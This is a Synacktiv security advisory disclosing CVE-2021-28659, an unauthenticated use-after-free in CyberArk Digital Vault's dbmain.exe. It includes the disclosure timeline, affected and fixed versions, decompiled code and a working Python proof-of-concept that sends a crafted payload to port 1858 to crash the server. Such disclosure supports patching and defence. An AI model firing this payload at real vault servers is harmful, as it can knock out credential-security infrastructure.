SYNACKTIV
DIGITAL SECURITY

CyberArk Digital Vault
Unauthenticated use after free

Security advisory
19/03/21

Julien Boutet

Vulnerability description

CyberArk Digital Vault

The Digital Vault software is the core of CyberArk's solutions. It is the secure repository of all sensitive information, and it is responsible for securing this information, managing and controlling all access to this information, and maintaining and providing tamper-proof audit records.

https://www.cyberark.com/resources/product-datasheets/the-cyberark-digital-vault-built-for-security

The issue

Synacktiv identified one issue:

- an unauthenticated attacker is able to trigger a use after free in CyberArk Digital Vault Server.

This issue might have the following impact:

- unauthenticated remote DOS
- unauthenticated RCE

Affected version

PoC has been successfully tested on CyberArk Digital Vault 10.9.0.18 (Vault).

Issue has been fixed on CyberArk Digital V11.5.3, V10.10.6, V10.5.4 and V9.10.8.

Timeline

Date	Action
06/05/20	Bug submitted to CyberArk
17/05/20	Reply from CyberArk who doesn't consider this bug as a security issue since they can't reproduce it without enabling full page heap verification
18/05/20	Synacktiv warns CyberArk that enabling full page heap verification doesn't affect product behavior (it only helps troubleshooting memory issues)
24/05/20	CyberArk acknowledge issue and plan to fix it
17/07/20	Synacktiv asks CyberArk for a patch release date
06/08/20	CyberArk informs Synacktiv that issue has been fixed in their latest release, however they plan to backport the fix on older versions and wait for this backport to publish advisory
30/11/20	Synacktiv asks again for a patch release date
14/12/20	CyberArk informs Synacktiv that a patch is planned to be completed by mid February 2021
02/03/21	CyberArk informs Synacktiv that bulletin CA21-06 has been released to backport the patch on CyberArk Digital Vault prior to version 11.6
17/03/21	Assigned **CVE-2021-28659**
19/03/21	Public disclosure

Technical description and proof-of-concept

Unauthenticated use after free

CyberArk Digital Vault main process (dbmain.exe) listens for incoming connection on TCP port 1858.

When processing an incoming TCP connection, under specific conditions, a structure holding socket information (we reversed this structure as *SOCKET_DESCRIPTOR*), is allocated. A pointer to this allocated structure is stored in a global array (let's call it *g_SockPool*) and also in a *Client_block* structure.

ConnPoolThread function runs in a concurrent thread. This function, dedicated to connection pool management, will get a pointer to previously allocated *SOCKET_DESCRIPTOR* from global *g_SockPool* and free it.

However, *SOCKET_DESCRIPTOR* pointer is still present in *Client_block* structure and will be used by *PaCloseSocket* function, triggering a use after free:

```
__int64 __fastcall PACloseSocket(Client_block *pClientBlock, unsigned int CloseType, SOCKET Socket,
int SocketType){
    // ....
    if ( pClientBlock )
    {
        pSocketDescriptor_UaF = 0i64;
        if ( CloseType == 1 )
        {
            pClientData = pClientBlock->pClientData;
            pSocketDescriptor_UaF = pClientBlock->SocketCtrlDescriptor; // Get Uafed pointer
            // ...
        }

        // ....
        if ( pClientBlock->pClientData->bProxy && v11 )
        {
            if ( pSocketDescriptor_UaF )
            {
                // Trigger UaF access
                loginfo(
                    0i64,
                    9i64,
                    2i64,
                    "PACloseSocket in pool, Socket=%d, CloseType=%d, SocketType=%d, bShouldListen=%d,
iUseCount=%d, ClientIndex=%d,"
                    " bHTTPProxy=%d\n",
                    Socket,
                    CloseType,
                    SocketType,
                    pSocketDescriptor_UaF->bShouldListen,
                    pSocketDescriptor_UaF->iUseCount,
                    pClientBlock->ClientId,
                    pSocketDescriptor_UaF->bHTTPProxy);
```

Provided PoC will trigger a reading UaF. UaFed memory is then used in a log function. UaFed content might be written in function *ReListenPoolSocket* but we didn't manage to reach this code path.

Proof of concept

The following python script might be used to trigger issue:

```
MSG = b'POST /proxy.html?ui=C-1XXX1 HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap,
image/jpeg, image/pjpeg, application/pdf, */*\r\nAccept-Language: he\r\nUser-Agent:
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)\r\nContent-Length: 218\r\nHost:
127.0.0.1\r\nConnection: close\r\n\r\n\xff\xff\xff\xff\xd6\x00\x00\x00\xff\xff\xff\xff=\
x01\x00\x00fooo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00} | \xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00\x00\
x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000=Logon\
xfd115=1.11.11.1\xfd69=P\xfd116=0\xfd100=\xfd217=Y\xfd218=PACLI\xfd219=\xfd317=0\xfd\x00\
x00'


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("target" , help="cyberark server ip address")
    parser.add_argument("--port" , help="cyberark server port", default=1858)
    args = parser.parse_args()


    target = (args.target, args.port)


    s = socket(AF_INET, SOCK_STREAM)
    s.connect(target)


    data = MSG
    s.send(data)

    recv = s.recv(0x1000)

    print("Server is expected to crash in a minute")


if __name__ == "__main__":
    main()
```

This script might be used like this (*dbmain.exe* should be launched with full page heap to help catching use after free) :

- from an administrator command prompt, enable full page heap on dbmain.exe process:

gflags.exe /i dbmain.exe +hpa +ust

- restart PrivateArk server (using Server Central Administration or SCM)
- attach a debugger to *dbmain* process and launch current script
- wait ~1 minute, you should get the following error

```
(34f0.109c): Access violation - code c0000005 (first chance)
```

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dbmain!PACloseSocket+0x135:
00007ff6`64f64b85 8b4140          mov     eax,dword ptr [rcx+40h]
ds:00000199`43329ff0=????????
```